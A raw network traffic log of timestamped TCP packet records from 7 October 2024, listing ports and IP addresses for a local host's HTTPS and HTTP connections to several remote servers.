Oct 7, 2024 03:23:24.263803959 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.263837099 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.263895035 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.269989014 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.270066977 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.276245117 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.276313066 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.276331902 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.282608986 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.282663107 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.282680988 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.288964033 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.289028883 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.289041996 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.289266109 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.289331913 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.289509058 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.289537907 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.292218924 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.294224024 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.296581030 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.342796087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:24.342856884 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:24.346374989 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.347485065 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.347502947 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.347532034 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.391165018 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.456875086 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.499227047 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.586986065 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:24.587057114 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:24.587132931 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:24.587462902 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:24.587492943 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:24.630203009 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:24.630284071 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:24.630371094 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:24.630583048 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:24.630604029 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:24.674305916 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.674352884 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.674858093 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.674870968 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.675050974 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.675086975 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.675467014 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.675477982 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.675596952 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.675621033 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.675987959 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.676001072 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.676270008 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.676310062 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.676714897 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.676727057 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.677057028 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.677076101 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.677386999 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.677396059 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.771331072 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.771411896 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.771449089 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.771511078 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.772305965 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.772382021 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.772558928 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.772641897 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.772700071 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.772747040 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.772932053 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.772991896 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.773067951 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.773117065 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.773153067 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.773199081 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.779762030 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.779926062 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.780004025 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.781145096 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.781172037 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.781610012 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.781610966 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.781639099 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.781666040 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.781737089 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.781737089 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.781764030 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.781785011 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.782433033 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.782449961 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.782474041 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.782486916 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.795341015 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.795358896 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.795397997 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.795411110 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.798099041 CEST	61038	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:24.798584938 CEST	61057	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:24.802859068 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.802871943 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.803152084 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.803153992 CEST	80	61038	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:24.803306103 CEST	61038	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:24.803407907 CEST	80	61057	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:24.803518057 CEST	61057	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:24.805921078 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.805963993 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.806071997 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.806268930 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.806302071 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.806413889 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.808856010 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.808914900 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.808964968 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.808995962 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.809035063 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.809087038 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.809350014 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.809379101 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.809483051 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.809505939 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.809667110 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.809679985 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.809923887 CEST	61057	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:24.811194897 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.811213017 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.811368942 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:24.811388969 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:24.814717054 CEST	80	61057	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:25.218133926 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.218420029 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.218449116 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.218964100 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.219044924 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.219990015 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.220058918 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.224090099 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.224185944 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.224287033 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.267487049 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.268258095 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.268316031 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.272483110 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.289869070 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.289920092 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.291410923 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.291498899 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.293920994 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.293982029 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.294769049 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.294987917 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.295252085 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.314117908 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.339402914 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.345603943 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.345640898 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.391154051 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.451478958 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.456893921 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.456909895 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.460403919 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.462454081 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.462460041 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.465786934 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.466507912 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.468719006 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.468831062 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.468847990 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.469264984 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.469270945 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.470642090 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.470674992 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.471297979 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.471306086 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.475517988 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.475536108 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.475895882 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.475902081 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.476144075 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.476161003 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.476564884 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.476568937 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.516995907 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.517348051 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.517409086 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.523438931 CEST	61054	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.523473024 CEST	443	61054	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.525566101 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.525602102 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.525662899 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.529963017 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.529975891 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.531218052 CEST	80	61057	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:25.531287909 CEST	61057	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:25.557815075 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.557982922 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.558027983 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.558027983 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.558079958 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.558793068 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.558801889 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.558811903 CEST	61059	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.558816910 CEST	443	61059	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.564579964 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.564600945 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.564670086 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.565958023 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.566159964 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.566219091 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.570141077 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.570154905 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.571908951 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.571995020 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.572057962 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.572097063 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.572130919 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.572679996 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.573220968 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.573437929 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.573745966 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.573750973 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.573803902 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.573811054 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.580008030 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.580008030 CEST	61061	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.580039978 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.580065012 CEST	443	61061	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.581887960 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.581887960 CEST	61058	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.581902981 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.581907988 CEST	443	61058	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.583586931 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.583599091 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.583638906 CEST	61062	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.583652973 CEST	443	61062	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.585155010 CEST	61055	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.585187912 CEST	443	61055	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.586695910 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.586745024 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.586817026 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.591976881 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:25.592010021 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:25.606573105 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.606667042 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.606755972 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.608587027 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.608756065 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.608824968 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.627228022 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.627247095 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.627307892 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.633327961 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.633379936 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.633586884 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.634197950 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.634231091 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.634322882 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.634385109 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.635242939 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.635242939 CEST	61060	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.635260105 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.635268927 CEST	443	61060	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.647692919 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.647706985 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.651453972 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.651473045 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:25.651539087 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.651685953 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:25.651707888 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.175256968 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.175517082 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.175524950 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.176417112 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.176481962 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.177423000 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.177472115 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.177753925 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.177834988 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.177968025 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.177973986 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.177985907 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.219430923 CEST	443	61063	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.220663071 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.221174002 CEST	61063	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.221956015 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.221976042 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.222418070 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.222423077 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.225630045 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.225924969 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.225972891 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.226475000 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.226540089 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.227477074 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.227543116 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.229688883 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.229774952 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.229841948 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.229841948 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.229861021 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.271428108 CEST	443	61065	172.217.16.206	192.168.2.4
Oct 7, 2024 03:23:26.282984018 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.283679008 CEST	61065	443	192.168.2.4	172.217.16.206
Oct 7, 2024 03:23:26.292449951 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.299297094 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.307636976 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.319282055 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.319340944 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.319729090 CEST	61068	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.319740057 CEST	443	61068	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.319962025 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.319988012 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.320297003 CEST	61071	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.320322037 CEST	443	61071	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.320507050 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.320518017 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.320908070 CEST	61067	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.320911884 CEST	443	61067	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.321388960 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.321419001 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.321718931 CEST	61066	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.321724892 CEST	443	61066	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.322637081 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.323020935 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.323091984 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.323136091 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.323143959 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.323157072 CEST	61064	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.323160887 CEST	443	61064	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.327090979 CEST	61072	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:26.327135086 CEST	443	61072	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:26.327214956 CEST	61072	443	192.168.2.4	13.107.246.45
